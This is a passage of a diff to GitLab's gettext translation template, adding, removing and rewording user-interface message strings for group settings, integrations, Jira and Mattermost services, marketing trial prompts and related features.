+msgid "GroupSettings|Allow project access token creation"
msgstr ""
msgid "GroupSettings|Auto DevOps pipeline was updated for the group"
@@ -14927,9 +15550,6 @@ msgstr ""
msgid "GroupSettings|If the parent group's visibility is lower than the group current visibility, visibility levels for subgroups and projects will be changed to match the new parent group's visibility."
msgstr ""
-msgid "GroupSettings|Integrations configured here will automatically apply to all projects in this group."
-msgstr ""
-
msgid "GroupSettings|Learn more about group-level project templates."
msgstr ""
@@ -14951,7 +15571,16 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgstr ""
+
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
+msgstr ""
+
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
+msgstr ""
+
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -14990,6 +15619,9 @@ msgstr ""
msgid "GroupSettings|Transfer group"
msgstr ""
+msgid "GroupSettings|Users can create %{link_start}project access tokens%{link_end} for projects in this group."
+msgstr ""
+
msgid "GroupSettings|What are badges?"
msgstr ""
@@ -15209,6 +15841,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{name}!"
+msgstr ""
+
msgid "Hello, %{username}!"
msgstr ""
@@ -15230,6 +15865,9 @@ msgstr ""
msgid "Helps reduce alert volume (e.g. if creating too many issues)"
msgstr ""
+msgid "Helps reduce request volume (e.g. from crawlers or abusive bots)"
+msgstr ""
+
msgid "Helps reduce request volume for protected paths"
msgstr ""
@@ -15345,12 +15983,18 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
msgid "How do I mirror repositories?"
msgstr ""
+msgid "How do I set up this service?"
+msgstr ""
+
msgid "How does cleanup work?"
msgstr ""
@@ -15495,6 +16139,9 @@ msgstr ""
msgid "If there is no previous license or if the previous license has expired, some GitLab functionality will be blocked until a new, valid license is uploaded."
msgstr ""
+msgid "If this email was added in error, you can remove it here: %{profile_emails_url}"
+msgstr ""
+
msgid "If this was a mistake you can %{leave_link_start}leave the %{source_type}%{link_end}."
msgstr ""
@@ -15507,12 +16154,21 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you did not initiate this change, please contact your administrator immediately."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15522,9 +16178,6 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
-msgid "If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
-msgstr ""
-
msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
msgstr ""
@@ -15561,6 +16214,9 @@ msgstr ""
msgid "ImageViewerDimensions|W"
msgstr ""
+msgid "Impersonate"
+msgstr ""
+
msgid "Impersonation Tokens"
msgstr ""
@@ -15634,6 +16290,9 @@ msgstr ""
msgid "Import project members"
msgstr ""
+msgid "Import project/repository"
+msgstr ""
+
msgid "Import projects from Bitbucket"
msgstr ""
@@ -15720,6 +16379,9 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
+msgid "Importing..."
+msgstr ""
+
msgid "Improve customer support with Service Desk"
msgstr ""
@@ -15735,9 +16397,15 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
+msgid "In each example, replace %{code_start}TOKEN%{code_end} with the trigger token you generated and replace %{code_start}REF_NAME%{code_end} with the branch or tag name."
+msgstr ""
+
msgid "In progress"
msgstr ""
+msgid "In this page you will find information about the settings that are used in your current instance."
+msgstr ""
+
msgid "InProductMarketing|%{strong_start}Advanced application security%{strong_end} — including SAST, DAST scanning, FUZZ testing, dependency scanning, license compliance, secrete detection"
msgstr ""
@@ -15756,7 +16424,7 @@ msgstr ""
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
-msgid "InProductMarketing|...and you can get a free trial of GitLab Gold"
+msgid "InProductMarketing|...and you can get a free trial of GitLab Ultimate"
msgstr ""
msgid "InProductMarketing|3 ways to dive into GitLab CI/CD"
@@ -15786,7 +16454,7 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
-msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Gold and enable these features in less than 5 minutes with no credit card required."
+msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
msgid "InProductMarketing|Create a project in GitLab in 5 minutes"
@@ -15831,7 +16499,7 @@ msgstr ""
msgid "InProductMarketing|Get started today"
msgstr ""
-msgid "InProductMarketing|Get started today with a 30-day GitLab Gold trial, no credit card required."
+msgid "InProductMarketing|Get started today with a 30-day GitLab Ultimate trial, no credit card required."
msgstr ""
msgid "InProductMarketing|Get started with GitLab CI/CD"
@@ -15864,9 +16532,6 @@ msgstr ""
msgid "InProductMarketing|Go farther with GitLab"
msgstr ""
-msgid "InProductMarketing|Go for the gold!"
-msgstr ""
-
msgid "InProductMarketing|Goldman Sachs went from 1 build every two weeks to thousands of builds a day"
msgstr ""
@@ -15951,7 +16616,7 @@ msgstr ""
msgid "InProductMarketing|Sometimes you're not ready to make a full transition to a new tool. If you're not ready to fully commit, %{mirroring_link} gives you a safe way to try out GitLab in parallel with your current tool."
msgstr ""
-msgid "InProductMarketing|Start a GitLab Gold trial today in less than one minute, no credit card required."
+msgid "InProductMarketing|Start a GitLab Ultimate trial today in less than one minute, no credit card required."
msgstr ""
msgid "InProductMarketing|Start a free trial of GitLab Ultimate – no CC required"
@@ -15966,7 +16631,10 @@ msgstr ""
msgid "InProductMarketing|Start by importing your projects"
msgstr ""
-msgid "InProductMarketing|Start with a GitLab Gold free trial"
+msgid "InProductMarketing|Start with a GitLab Ultimate free trial"
+msgstr ""
+
+msgid "InProductMarketing|Start your trial now!"
msgstr ""
msgid "InProductMarketing|Stop wondering and use GitLab to answer questions like:"
@@ -16002,7 +16670,7 @@ msgstr ""
msgid "InProductMarketing|To understand and get the most out of GitLab, start at the beginning and %{project_link}. In GitLab, repositories are part of a project, so after you've created your project you can go ahead and %{repo_link}."
msgstr ""
-msgid "InProductMarketing|Try GitLab Gold for free"
+msgid "InProductMarketing|Try GitLab Ultimate for free"
msgstr ""
msgid "InProductMarketing|Try it out"
@@ -16023,7 +16691,7 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
-msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Gold and your teams will be on it from day one."
+msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
@@ -16185,6 +16853,9 @@ msgstr ""
msgid "IncidentSettings|Incidents"
msgstr ""
+msgid "IncidentSettings|Introduce a countdown timer in incident issues to better track Service Level Agreements (SLAs). The timer starts automatically when the incident is created, and sets a time limit for resolving the incident. When activated, the time to SLA countdown appears on all new incidents."
+msgstr ""
+
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
@@ -16194,19 +16865,16 @@ msgstr ""
msgid "IncidentSettings|Time limit"
msgstr ""
-msgid "IncidentSettings|Time limit must be a multiple of 15 minutes"
+msgid "IncidentSettings|Time limit must be a multiple of 15 minutes."
msgstr ""
-msgid "IncidentSettings|Time limit must be a valid number"
+msgid "IncidentSettings|Time limit must be a valid number."
msgstr ""
-msgid "IncidentSettings|Time limit must be greater than 0"
+msgid "IncidentSettings|Time limit must be greater than 0."
msgstr ""
-msgid "IncidentSettings|When activated, this will apply to all new incidents within the project"
-msgstr ""
-
-msgid "IncidentSettings|You may choose to introduce a countdown timer in incident issues to better track Service Level Agreements (SLAs). The timer is automatically started when the incident is created, and sets a time limit for the incident to be resolved in. When activated, \"time to SLA\" countdown will appear on all new incidents."
+msgid "IncidentSettings|When activated, this applies to all new incidents in the project."
msgstr ""
msgid "IncidentSettings|hours"
@@ -16302,6 +16970,9 @@ msgstr ""
msgid "Incomplete"
msgstr ""
+msgid "Increase"
+msgstr ""
+
msgid "Indent"
msgstr ""
@@ -16320,6 +16991,24 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
+msgid "InfrastructureRegistry|Infrastructure Registry"
+msgstr ""
+
+msgid "InfrastructureRegistry|Publish and share your modules. %{docLinkStart}More information%{docLinkEnd}"
+msgstr ""
+
+msgid "InfrastructureRegistry|Terraform"
+msgstr ""
+
+msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
+msgstr ""
+
+msgid "InfrastructureRegistry|You have no Terraform modules in your project"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16424,16 +17113,25 @@ msgstr ""
msgid "Integrations"
msgstr ""
+msgid "Integrations|%{integrationTitle}: active"
+msgstr ""
+
msgid "Integrations|%{integration} settings saved and active."
msgstr ""
msgid "Integrations|%{integration} settings saved, but not active."
msgstr ""
+msgid "Integrations|Active integrations"
+msgstr ""
+
+msgid "Integrations|Add an integration"
+msgstr ""
+
msgid "Integrations|Add namespace"
msgstr ""
-msgid "Integrations|Adding a namespace currently works only in browsers that allow cross‑site cookies. Please make sure to use %{firefox_link_start}Firefox%{firefox_link_end} or enable cross‑site cookies in your browser when adding a namespace."
+msgid "Integrations|Adding a namespace works only in browsers that allow cross‑site cookies. Use %{firefox_link_start}Firefox%{firefox_link_end}, or enable cross‑site cookies in your browser, when adding a namespace."
msgstr ""
msgid "Integrations|All details"
@@ -16442,6 +17140,9 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
+msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
+msgstr ""
+
msgid "Integrations|Browser limitations"
msgstr ""
@@ -16475,6 +17176,9 @@ msgstr ""
msgid "Integrations|Failed to load namespaces. Please try again."
msgstr ""
+msgid "Integrations|Failed to unlink namespace. Please try again."
+msgstr ""
+
msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
msgstr ""
@@ -16493,7 +17197,7 @@ msgstr ""
msgid "Integrations|Namespace successfully linked"
msgstr ""
-msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
+msgid "Integrations|Namespaces are the GitLab groups and subgroups you link to this Jira instance."
msgstr ""
msgid "Integrations|No available namespaces."
@@ -16505,6 +17209,9 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
+msgid "Integrations|Project integration management"
+msgstr ""
+
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -16538,9 +17245,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16556,18 +17260,24 @@ msgstr ""
msgid "Integrations|Use the GitLab Slack application"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
+msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You haven't activated any integrations yet."
+msgstr ""
+
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
msgstr ""
+msgid "Integrations|You've activated every integration 🎉"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16604,9 +17314,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16655,9 +17362,6 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
-msgid "Invalid period"
-msgstr ""
-
msgid "Invalid pin code"
msgstr ""
@@ -16802,7 +17506,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16811,7 +17515,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16820,10 +17524,10 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
@@ -16853,6 +17557,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -17006,13 +17713,13 @@ msgstr ""
msgid "Issue label"
msgstr ""
-msgid "Issue or Merge Request ID is required"
+msgid "Issue or merge request ID is required"
msgstr ""
msgid "Issue published on status page."
msgstr ""
-msgid "Issue title"
+msgid "Issue types"
msgstr ""
msgid "Issue update failed"
@@ -17024,6 +17731,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17090,7 +17800,10 @@ msgstr ""
msgid "IssueTracker|EWM work items tracker"
msgstr ""
-msgid "IssueTracker|Redmine issue tracker"
+msgid "IssueTracker|Use Redmine as the issue tracker."
+msgstr ""
+
+msgid "IssueTracker|Use Redmine as the issue tracker. %{docs_link}"
msgstr ""
msgid "IssueTracker|YouTrack issue tracker"
@@ -17102,7 +17815,7 @@ msgstr ""
msgid "Issues Rate Limits"
msgstr ""
-msgid "Issues and Merge Requests"
+msgid "Issues and merge requests"
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -17111,6 +17824,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17174,6 +17890,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17252,6 +17971,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jiraDocsLinkStart}Enable the Jira integration%{jiraDocsLinkEnd} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
msgstr ""
@@ -17261,6 +17983,12 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
+msgid "JiraService|Base URL of the Jira instance."
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17273,6 +18001,12 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
@@ -17285,10 +18019,13 @@ msgstr ""
msgid "JiraService|For example, 12, 24"
msgstr ""
+msgid "JiraService|For example, AB"
+msgstr ""
+
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
-msgid "JiraService|If different from Web URL"
+msgid "JiraService|If different from Web URL."
msgstr ""
msgid "JiraService|Issue List"
@@ -17309,16 +18046,16 @@ msgstr ""
msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
msgstr ""
-msgid "JiraService|Jira issue tracker"
-msgstr ""
-
msgid "JiraService|Jira issue type"
msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token."
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17339,7 +18076,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17348,13 +18085,31 @@ msgstr ""
msgid "JiraService|This feature requires a Premium plan."
msgstr ""
+msgid "JiraService|This is a Premium feature"
+msgstr ""
+
+msgid "JiraService|This is an Ultimate feature"
+msgstr ""
+
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
-msgid "JiraService|Use a password for server version and an API token for cloud version"
+msgid "JiraService|Track issues in Jira"
+msgstr ""
+
+msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
-msgid "JiraService|Use a username for server version and an email for cloud version"
+msgid "JiraService|Upgrade your plan to enable this feature of the Jira Integration."
+msgstr ""
+
+msgid "JiraService|Use a password for server version and an API token for cloud version."
+msgstr ""
+
+msgid "JiraService|Use a username for server version and an email for cloud version."
+msgstr ""
+
+msgid "JiraService|Use custom transitions"
msgstr ""
msgid "JiraService|Username or Email"
@@ -17366,7 +18121,7 @@ msgstr ""
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
-msgid "JiraService|Warning: All GitLab users that have access to this GitLab project will be able to view all issues from the Jira project specified below."
+msgid "JiraService|Warning: All GitLab users that have access to this GitLab project are able to view all issues from the Jira project specified below."
msgstr ""
msgid "JiraService|Web URL"
@@ -17375,9 +18130,6 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|e.g. AB"
-msgstr ""
-
msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
msgstr ""
@@ -17522,6 +18274,9 @@ msgstr ""
msgid "Joined %{time_ago}"
msgstr ""
+msgid "Joined %{user_created_time}"
+msgstr ""
+
msgid "Jul"
msgstr ""
@@ -17543,6 +18298,9 @@ msgstr ""
msgid "K8s pod health"
msgstr ""
+msgid "KEY"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -17573,21 +18331,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Commit (when editing commit message)"
-msgstr ""
-
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
-msgid "KeyboardShortcuts|Web IDE"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17678,6 +18421,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17770,6 +18516,9 @@ msgstr ""
msgid "Last contact"
msgstr ""
+msgid "Last edit"
+msgstr ""
+
msgid "Last edited %{date}"
msgstr ""
@@ -17869,6 +18618,9 @@ msgstr ""
msgid "Learn GitLab|Trial only"
msgstr ""
+msgid "Learn More"
+msgstr ""
+
msgid "Learn how to %{link_start}contribute to the built-in templates%{link_end}"
msgstr ""
@@ -17881,6 +18633,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -17944,12 +18699,18 @@ msgstr ""
msgid "LearnGitLab|Create a workflow for your new workspace, and learn how GitLab features work together:"
msgstr ""
+msgid "LearnGitLab|Create an issue"
+msgstr ""
+
msgid "LearnGitLab|Create or import a repository"
msgstr ""
msgid "LearnGitLab|Create or import your first repository into your new project."
msgstr ""
+msgid "LearnGitLab|Create/import issues (tickets) to collaborate on ideas and plan work."
+msgstr ""
+
msgid "LearnGitLab|Deploy"
msgstr ""
@@ -17980,10 +18741,7 @@ msgstr ""
msgid "LearnGitLab|Route code reviews to the right reviewers, every time."
msgstr ""
-msgid "LearnGitLab|Run a Security scan"
-msgstr ""
-
-msgid "LearnGitLab|Run a security scan"
+msgid "LearnGitLab|Run a Security scan using CI/CD"
msgstr ""
msgid "LearnGitLab|Save time by automating your integration and deployment tasks."
@@ -18019,6 +18777,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Trial only"
+msgstr ""
+
msgid "Leave"
msgstr ""
@@ -18031,6 +18792,9 @@ msgstr ""
msgid "Leave edit mode? All unsaved changes will be lost."
msgstr ""
+msgid "Leave feedback"
+msgstr ""
+
msgid "Leave group"
msgstr ""
@@ -18276,9 +19040,15 @@ msgstr ""
msgid "Link Prometheus monitoring to GitLab."
msgstr ""
+msgid "Link an external wiki from the project's sidebar. %{docs_link}"
+msgstr ""
+
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18330,9 +19100,6 @@ msgstr ""
msgid "List the merge requests that must be merged before this one."
msgstr ""
-msgid "List type"
-msgstr ""
-
msgid "List view"
msgstr ""
@@ -18351,6 +19118,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18525,9 +19295,15 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
+msgid "Manage git repositories with fine-grained access controls that keep your code secure."
+msgstr ""
+
msgid "Manage group labels"
msgstr ""
@@ -18540,7 +19316,7 @@ msgstr ""
msgid "Manage project labels"
msgstr ""
-msgid "Manage storage usage"
+msgid "Manage projects."
msgstr ""
msgid "Manage two-factor authentication"
@@ -18564,6 +19340,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18588,9 +19367,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18663,9 +19439,21 @@ msgstr ""
msgid "Match not found; try refining your search query."
msgstr ""
+msgid "Mattermost"
+msgstr ""
+
+msgid "Mattermost URL:"
+msgstr ""
+
+msgid "Mattermost notifications"
+msgstr ""
+
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18684,13 +19472,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18720,6 +19505,12 @@ msgstr ""
msgid "Max access level"
msgstr ""
+msgid "Max authenticated API requests per period per user"
+msgstr ""
+
+msgid "Max authenticated web requests per period per user"
+msgstr ""
+
msgid "Max file size is 200 KB."
msgstr ""
@@ -18729,6 +19520,9 @@ msgstr ""
msgid "Max role"
msgstr ""
+msgid "Max unauthenticated requests per period per IP"
+msgstr ""
+
msgid "MaxBuilds"
msgstr ""
@@ -18834,6 +19628,9 @@ msgstr ""
msgid "Maximum size of individual attachments in comments."
msgstr ""
+msgid "Maximum size of pages (MB)"
+msgstr ""
+
msgid "Maximum time between updates that a mirror can have when scheduled to synchronize."
msgstr ""
@@ -18912,10 +19709,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\""
+msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\""
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -19011,9 +19808,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Commits"
-msgstr ""
-
msgid "Merge Requests"
msgstr ""
@@ -19062,12 +19856,18 @@ msgstr ""
msgid "Merge request (MR) approvals"
msgstr ""
+msgid "Merge request analytics"
+msgstr ""
+
msgid "Merge request approval settings have been updated."
msgstr ""
msgid "Merge request approvals"
msgstr ""
+msgid "Merge request commits"
+msgstr ""
+
msgid "Merge request dependencies"
msgstr ""
@@ -19630,6 +20430,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19783,9 +20586,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum password length (number of characters)"
-msgstr ""
-
msgid "Minutes"
msgstr ""
@@ -19822,6 +20622,9 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
msgid "Missing"
msgstr ""
@@ -19888,6 +20691,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -20023,6 +20829,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20064,17 +20873,15 @@ msgstr ""
msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
msgstr ""
-msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on %{locked_project_count} project. To unlock it, please purchase additional storage"
-msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on %{locked_project_count} projects. To unlock them, please purchase additional storage"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "Namespaces"
msgstr ""
@@ -20339,6 +21146,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20386,9 +21202,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20503,6 +21316,12 @@ msgstr ""
msgid "New project"
msgstr ""
+msgid "New project/repository"
+msgstr ""
